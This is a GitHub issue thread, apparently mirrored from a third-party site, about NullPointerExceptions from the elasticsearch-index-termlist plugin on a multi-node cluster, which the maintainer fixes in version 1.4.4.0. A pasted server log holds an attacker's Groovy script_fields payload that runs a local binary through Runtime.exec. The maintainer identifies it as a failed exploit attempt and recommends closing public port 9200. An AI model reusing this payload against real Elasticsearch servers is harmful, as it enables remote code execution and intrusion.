Comments (7)
{
"index" : "testpy",
"shard" : 0,
"reason" : "BroadcastShardOperationFailedException[[testpy][0] ]; nested: SendRequestTransportException[[Node1][inet[/10.10.10.3:9300]][indices/termlist[s]]]; nested: NullPointerException; "
}
from elasticsearch-index-termlist.
I can not reproduce with ES 1.4.4. Is there something in the server logs?
from elasticsearch-index-termlist.
Log is empty - no relative errors only info with time when es started.
When I try to call this from my machine outside elasticsearch cluster :
➜ ~ curl -XGET 'http://elk.myhost:9200/testpy/_termlist'
I got this :
{"_shards":{"total":3,"successful":0,"failed":3,"failures":[{"index":"testpy","shard":0,"reason":"BroadcastShardOperationFailedException[[testpy][0] ]; nested: SendRequestTransportException[[Node1][inet[/10.10.10.3:9300]][indices/termlist[s]]]; nested: NullPointerException; "},{"index":"testpy","shard":1,"reason":"BroadcastShardOperationFailedException[[testpy][1] ]; nested: SendRequestTransportException[[Node2][inet[/10.10.10.4:9300]][indices/termlist[s]]]; nested: NullPointerException; "},{"index":"testpy","shard":2,"reason":"BroadcastShardOperationFailedException[[testpy][2] ]; nested: SendRequestTransportException[[Node3][inet[/10.10.10.5:9300]][indices/termlist[s]]]; nested: NullPointerException; "}]},"total":0,"terms":[]}%
When I tried it on one node from cluster where is one shard from queried index : I got termlist.
Is this plugin worked with cluster configuration with more nodes ?
I have 3 - node cluster. Some indices are not on all three nodes
And, after one minute with any interaction this error appear :
[2015-03-15 14:01:19,219][DEBUG][action.search.type ] [WebMaster] [testpy][2], node[2E9QvinuTFWTcax3zPU4LA], [P], s[STARTED]: Failed to execute [org.elasticsearch.action.search.SearchRequest@5d446b80] lastShard [true]
org.elasticsearch.transport.RemoteTransportException: [Node3][inet[/10.10.10.5:9300]][indices:data/read/search[phase/query]]
Caused by: org.elasticsearch.search.SearchParseException: [testpy][2]: query[ConstantScore(:)],from[-1],size[-1]: Parse Failure [Failed to parse source [{"query": {"filtered": {"query": {"match_all": {}}}}, "script_fields": {"exp": {"script": "import java.util.;import java.io.;String str = "";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("./tmp/cnmm").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);sb.append("\r\n");}sb.toString();"}}, "size": 1}]]
at org.elasticsearch.search.SearchService.parseSource(SearchService.java:687)
at org.elasticsearch.search.SearchService.createContext(SearchService.java:543)
at org.elasticsearch.search.SearchService.createAndPutContext(SearchService.java:515)
at org.elasticsearch.search.SearchService.executeQueryPhase(SearchService.java:277)
at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:776)
at org.elasticsearch.search.action.SearchServiceTransportAction$SearchQueryTransportHandler.messageReceived(SearchServiceTransportAction.java:767)
at org.elasticsearch.transport.netty.MessageChannelHandler$RequestHandler.run(MessageChannelHandler.java:275)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)
Caused by: org.elasticsearch.script.ScriptException: dynamic scripting for [groovy] disabled
at org.elasticsearch.script.ScriptService.verifyDynamicScripting(ScriptService.java:399)
at org.elasticsearch.script.ScriptService.compile(ScriptService.java:363)
at org.elasticsearch.script.ScriptService.search(ScriptService.java:515)
at org.elasticsearch.search.fetch.script.ScriptFieldsParseElement.parse(ScriptFieldsParseElement.java:82)
at org.elasticsearch.search.SearchService.parseSource(SearchService.java:671)
... 9 more
from elasticsearch-index-termlist.
Termlist plugin should work on all nodes, no matter where the index shards are.
The second exception is from a remote hacker who wants to exploit a script vulnerability which does not work because dynamic scripting is disabled. You should close port 9200 from public access.
from elasticsearch-index-termlist.
Yes, thanks.
I have 3 nodes with data, one is master.
But I have another node which is not data and not master. Only for kibana access.
I'm trying to query /indexname/_termlist from not data node.
Exits with errors.
from elasticsearch-index-termlist.
I found the bug, and it should be fixed. Please try new version 1.4.4.0.
from elasticsearch-index-termlist.
OK, many thanks. Now it works without any problems :)
{
"_shards" : {
"total" : 9,
"successful" : 9,
"failed" : 0
},
"total" : 26061,
"terms" : [
{
"name" : "!",
"totalfreq" : 12
},
{
"name" : "!!",
"totalfreq" : 8
},
{
"name" : "!!!",
"totalfreq" : 5
},
{
"name" : "!!!!",
"totalfreq" : 1
},
{
"name" : "!!!!!!!!!!",
"totalfreq" : 2
}
]
}
from elasticsearch-index-termlist.
Related Issues (20)
- option to show terms of leading underscore fields (e.g., "_all")?
- plugins breaks elasticsearch 1.4.0 HOT 1
- size parameter HOT 3
- Bad install link HOT 2
- Tf-idf HOT 8
- How to use in combinatio with a Query HOT 2
- Update to ES 1.5 HOT 2
- No handler found for uri [/test/_termlist] and method [GET]
- Compiled 1.3.0.0 version?
- How to specify the index and type for _termlist HOT 3
- Plugin Returning only Name of the Terms.
- Build failure against ElasticSearch >= 2.0.0
- Support for elastic search 2.2?
- Support for ES 2.4 HOT 2
- Could not find plugin descriptor 'plugin-descriptor.properties' in plugin zip HOT 2
- Installation command does not work HOT 1
- Support for elastic search 5.x ? HOT 1
- Support for elastic search 6.x ?
- Support for elastic search 7.x ?
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from elasticsearch-index-termlist.